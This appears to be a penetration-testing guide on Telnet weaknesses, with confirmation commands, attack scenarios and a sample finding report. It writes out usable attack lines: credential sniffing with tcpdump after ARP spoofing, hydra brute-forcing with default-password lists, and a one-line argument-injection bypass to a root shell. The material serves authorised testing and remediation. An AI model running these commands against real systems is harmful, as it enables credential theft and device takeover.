Cleartext credentials on the wire — everything (including the password) is plaintext. On a switched LAN, MitM then sniff.
How to CONFIRM:
sudo tcpdump -i eth0 -A 'tcp port 23'# Wireshark display filter: tcp.port == 23 && (telnet.data || telnet.option)
Default / hard-coded credentials — IoT botnets (Mirai) thrive here. Try vendor defaults and small dictionaries.
How to CONFIRM: hydra -L users.txt -P rockyou.txt -t 4 -f telnet://<IP> returns a valid pair.
NTLM info disclosure — Microsoft Telnet leaks NetBIOS/DNS/OS build via AUTH NTLM.
How to CONFIRM: nmap -p23 --script telnet-ntlm-info <IP>.
inetutils telnetd NEW_ENVIRON option injection (CVE-2026-24061) — %U is expanded from the client-supplied USER env var into the login argv; a value starting with - becomes a flag (-f root) → auth bypass to root (inetutils 1.9.3–2.7).
ARP spoofing to position for sniffing on switched networks.
Common Scenarios
Scenario 1: Default creds on an IoT device
A camera exposes telnet on 23. hydra -L users.txt -P mirai-defaults.txt telnet://<IP> finds root:vizxv, granting a busybox shell and device takeover.
Scenario 2: Cleartext credential capture
On a switched LAN, ARP spoofing redirects an admin's telnet session through the tester's host. tcpdump -A 'tcp port 23' reveals the typed username and password in plaintext, reused on adjacent SSH services.
Scenario 3: inetutils telnetd auth bypass
A Linux host runs vulnerable inetutils telnetd. USER='-f root' telnet -a <IP> injects -f root into the login argv, spawning a pre-authenticated root shell (CVE-2026-24061).
Output Format
## Telnet Finding
**Service**: Telnet
**Port**: 23/tcp (Linux inetutils telnetd 2.4)
**Severity**: Critical
**Finding**: Cleartext protocol + authentication bypass via NEW_ENVIRON option injection
**Evidence**:
- tcpdump 'tcp port 23' captured "admin / S3cret!" in plaintext
- USER='-f root' telnet -a <IP> -> uid=0(root) shell (CVE-2026-24061)
**Impact**: Credentials are exposed to any network observer, and an unauthenticated attacker can obtain a root shell.
**Recommendation**:
1. Disable Telnet entirely and use SSH instead.
2. If unavoidable, restrict to a management VLAN with ACLs/TCP wrappers and patch telnetd (inetutils >= 2.7-2).
3. Rotate all credentials exposed over cleartext Telnet.
